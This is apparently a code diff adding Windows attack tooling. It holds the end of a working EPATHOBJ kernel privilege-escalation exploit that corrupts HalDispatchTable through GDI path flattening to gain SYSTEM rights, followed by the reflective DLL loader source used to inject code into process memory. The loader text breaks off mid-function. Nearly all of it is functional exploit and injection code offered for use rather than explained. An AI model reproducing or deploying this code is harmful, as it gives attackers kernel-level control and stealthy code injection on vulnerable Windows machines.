LogMessage(L_INFO, "\r--------------------------------------------------\n"
|
||||
"\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
|
||||
"\r------------------- taviso@cmpxchg8b.com, programmeboy@gmail.com ---\n"
|
||||
"\n");
|
||||
NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
|
||||
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
|
||||
Mutex = CreateMutex(NULL, FALSE, NULL);
|
||||
DispatchRedirect = (PVOID) HalDispatchRedirect;
|
||||
Interval = (PULONG) ShellCode;
|
||||
SavedInterval = Interval[0];
|
||||
//TargetPid = (PULONG)2032;
|
||||
TargetPid = (PULONG)GetCurrentProcessId();
|
||||
|
||||
LogMessage(L_INFO, "NtQueryIntervalProfile@%p", NtQueryIntervalProfile);
|
||||
LogMessage(L_INFO, "NtQuerySystemInformation@%p", NtQuerySystemInformation);
|
||||
|
||||
// Lookup the address of system modules.
|
||||
NtQuerySystemInformation(SystemModuleInformation,
|
||||
&ModuleInfo,
|
||||
sizeof ModuleInfo,
|
||||
NULL);
|
||||
|
||||
LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p",
|
||||
ModuleInfo.Modules[0].FullPathName,
|
||||
ModuleInfo.Modules[0].ImageBase);
|
||||
|
||||
// Lookup some system routines we require.
|
||||
KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
|
||||
HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
||||
PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
||||
PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
||||
PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase;
|
||||
|
||||
// Search for a ret instruction to install in the damaged HalDispatchTable.
|
||||
HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize)
|
||||
- (ULONG) KernelHandle
|
||||
+ (ULONG) ModuleInfo.Modules[0].ImageBase;
|
||||
|
||||
LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation);
|
||||
|
||||
// Create our PATHRECORD in user space we will get added to the EPATHOBJ
|
||||
// pathrecord chain.
|
||||
PathRecord = VirtualAlloc(NULL,
|
||||
sizeof *PathRecord,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
|
||||
LogMessage(L_INFO, "Allocated userspace PATHRECORD@%p", PathRecord);
|
||||
|
||||
// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
|
||||
// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
|
||||
// loop in EPATHOBJ::bFlatten().
|
||||
PathRecord->flags = 0;
|
||||
PathRecord->next = PathRecord;
|
||||
PathRecord->prev = (PPATHRECORD)(0x42424242);
|
||||
|
||||
LogMessage(L_INFO, " ->next @ %p", PathRecord->next);
|
||||
LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);
|
||||
LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);
|
||||
|
||||
// Now we need to create a PATHRECORD at an address that is also a valid
|
||||
// x86 instruction, because the pointer will be interpreted as a function.
|
||||
// I've created a list of candidates in DispatchRedirect.
|
||||
LogMessage(L_INFO, "Searching for an available stub address...");
|
||||
|
||||
// I need to map at least two pages to guarantee the whole structure is
|
||||
// available.
|
||||
while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1),
|
||||
PAGE_SIZE * 2,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE)) {
|
||||
|
||||
LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x",
|
||||
*DispatchRedirect & ~(PAGE_SIZE - 1),
|
||||
GetLastError());
|
||||
|
||||
// This page is not available, try the next candidate.
|
||||
if (!*++DispatchRedirect) {
|
||||
LogMessage(L_ERROR, "No redirect candidates left, sorry!");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
LogMessage(L_INFO, "Success, ExploitRecordExit@%#0x", *DispatchRedirect);
|
||||
|
||||
// This PATHRECORD must terminate the list and recover.
|
||||
ExploitRecordExit = (PPATHRECORD) *DispatchRedirect;
|
||||
ExploitRecordExit->next = NULL;
|
||||
ExploitRecordExit->prev = NULL;
|
||||
ExploitRecordExit->flags = PD_BEGINSUBPATH;
|
||||
ExploitRecordExit->count = 0;
|
||||
|
||||
LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next);
|
||||
LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev);
|
||||
LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags);
|
||||
|
||||
// This is the second stage PATHRECORD, which causes a fresh PATHRECORD
|
||||
// allocated from newpathrec to nt!HalDispatchTable. The Next pointer will
|
||||
// be copied over to the new record. Therefore, we get
|
||||
//
|
||||
// nt!HalDispatchTable[1] = &ExploitRecordExit.
|
||||
//
|
||||
// So we make &ExploitRecordExit a valid sequence of instuctions here.
|
||||
LogMessage(L_INFO, "ExploitRecord@%#0x", &ExploitRecord);
|
||||
|
||||
ExploitRecord.next = (PPATHRECORD) *DispatchRedirect;
|
||||
ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1];
|
||||
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
|
||||
ExploitRecord.count = 4;
|
||||
|
||||
LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next);
|
||||
LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev);
|
||||
LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags);
|
||||
|
||||
LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
|
||||
|
||||
// Generate a large number of Belier Curves made up of pointers to our
|
||||
// PATHRECORD object.
|
||||
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
|
||||
Points[PointNum].x = (ULONG)(PathRecord) >> 4;
|
||||
Points[PointNum].y = (ULONG)(PathRecord) >> 4;
|
||||
PointTypes[PointNum] = PT_BEZIERTO;
|
||||
}
|
||||
|
||||
// Switch to a dedicated desktop so we don't spam the visible desktop with
|
||||
// our Lines (Not required, just stops the screen from redrawing slowly).
|
||||
SetThreadDesktop(CreateDesktop("DontPanic",
|
||||
NULL,
|
||||
NULL,
|
||||
0,
|
||||
GENERIC_ALL,
|
||||
NULL));
|
||||
|
||||
// Get a handle to this Desktop.
|
||||
Device = GetDC(NULL);
|
||||
|
||||
// Take ownership of Mutex
|
||||
WaitForSingleObject(Mutex, INFINITE);
|
||||
|
||||
// Spawn a thread to cleanup
|
||||
Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
|
||||
|
||||
LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle");
|
||||
|
||||
// We need to cause a specific AllocObject() to fail to trigger the
|
||||
// exploitable condition. To do this, I create a large number of rounded
|
||||
// rectangular regions until they start failing. I don't think it matters
|
||||
// what you use to exhaust paged memory, there is probably a better way.
|
||||
//
|
||||
// I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
|
||||
// failure. Seriously, do some damn QA Microsoft, wtf.
|
||||
for (Size = 1 << 26; Size; Size >>= 1) {
|
||||
while (Regions[ComplexPathNumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
|
||||
ComplexPathNumRegion++;
|
||||
}
|
||||
|
||||
LogMessage(L_INFO, "Allocated %u HRGN objects", ComplexPathNumRegion);
|
||||
|
||||
LogMessage(L_INFO, "Flattening curves...");
|
||||
|
||||
for (PointNum = MAX_POLYPOINTS; PointNum && !ComplexPathFinished; PointNum -= 3) {
|
||||
BeginPath(Device);
|
||||
PolyDraw(Device, Points, PointTypes, PointNum);
|
||||
EndPath(Device);
|
||||
FlattenPath(Device);
|
||||
FlattenPath(Device);
|
||||
|
||||
// Test if exploitation succeeded.
|
||||
NtQueryIntervalProfile(ProfileTotalIssues, Interval);
|
||||
|
||||
// Repair any damage.
|
||||
*Interval = SavedInterval;
|
||||
|
||||
EndPath(Device);
|
||||
}
|
||||
|
||||
if (ComplexPathFinished) {
|
||||
LogMessage(L_INFO, "Success...", ComplexPathFinished);
|
||||
//ExitProcess(0);
|
||||
return;
|
||||
}
|
||||
|
||||
// If we reach here, we didn't trigger the condition. Let the other thread know.
|
||||
ReleaseMutex(Mutex);
|
||||
WaitForSingleObject(Thread, INFINITE);
|
||||
ReleaseDC(NULL, Device);
|
||||
|
||||
// Try again...
|
||||
LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)");
|
||||
//ExitProcess(1);
|
||||
return;
|
||||
}
|
||||
|
||||
// A quick logging routine for debug messages.
|
||||
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
|
||||
{
|
||||
CHAR Buffer[1024] = {0};
|
||||
va_list Args;
|
||||
|
||||
va_start(Args, Format);
|
||||
vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
|
||||
va_end(Args);
|
||||
|
||||
switch (Level) {
|
||||
case L_DEBUG: dprintf( "[?] %s\n", Buffer); break;
|
||||
case L_INFO: dprintf( "[+] %s\n", Buffer); break;
|
||||
case L_WARN: dprintf( "[*] %s\n", Buffer); break;
|
||||
case L_ERROR: dprintf( "[!] %s\n", Buffer); break;
|
||||
}
|
||||
|
||||
//fflush(stdout);
|
||||
//flush(stderr);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
extern HINSTANCE hAppInstance;
|
||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch( dwReason )
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if( lpReserved != NULL )
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
hAppInstance = hinstDLL;
|
||||
elevator_complex_path();
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
|
@ -0,0 +1,496 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _ReturnAddress )
|
||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||
// available (and no inline asm available under x64).
|
||||
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
|
||||
//===============================================================================================//
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
||||
#else
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||
GETPROCADDRESS pGetProcAddress = NULL;
|
||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
ULONG_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
ULONG_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
ULONG_PTR uiAddressArray;
|
||||
ULONG_PTR uiNameArray;
|
||||
ULONG_PTR uiExportDir;
|
||||
ULONG_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
ULONG_PTR uiHeaderValue;
|
||||
ULONG_PTR uiValueA;
|
||||
ULONG_PTR uiValueB;
|
||||
ULONG_PTR uiValueC;
|
||||
ULONG_PTR uiValueD;
|
||||
ULONG_PTR uiValueE;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our callers return address.
|
||||
uiLibraryAddress = caller();
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while( TRUE )
|
||||
{
|
||||
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef WIN_X64
|
||||
uiBaseAddress = __readgsqword( 0x60 );
|
||||
#else
|
||||
#ifdef WIN_X86
|
||||
uiBaseAddress = __readfsdword( 0x30 );
|
||||
#else WIN_ARM
|
||||
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while( uiValueA )
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror( (DWORD)uiValueC );
|
||||
// normalize to uppercase if the madule name is in lowercase
|
||||
if( *((BYTE *)uiValueB) >= 'a' )
|
||||
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE *)uiValueB);
|
||||
uiValueB++;
|
||||
} while( --usCounter );
|
||||
|
||||
// compare the hash with that of kernel32.dll
|
||||
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 3;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == LOADLIBRARYA_HASH )
|
||||
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == GETPROCADDRESS_HASH )
|
||||
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
else if( dwHashValue == VIRTUALALLOC_HASH )
|
||||
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 1;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
|
||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
|
||||
// we stop searching when we have found everything we need.
|
||||
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
|
||||
break;
|
||||
|
||||
// get the next entry
|
||||
uiValueA = DEREF( uiValueA );
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
|
||||
while( uiValueA-- )
|
||||
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
while( uiValueE-- )
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
|
||||
while( uiValueD-- )
|
||||
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof( IMAGE_SECTION_HEADER );
|
||||
}
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||
|
||||
// we assume their is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
||||
|
||||
// itterate through all imports
|
||||
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
|
||||
{
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while( DEREF(uiValueA) )
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof( ULONG_PTR );
|
||||
if( uiValueD )
|
||||
uiValueD += sizeof( ULONG_PTR );
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
||||
}
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
||||
|
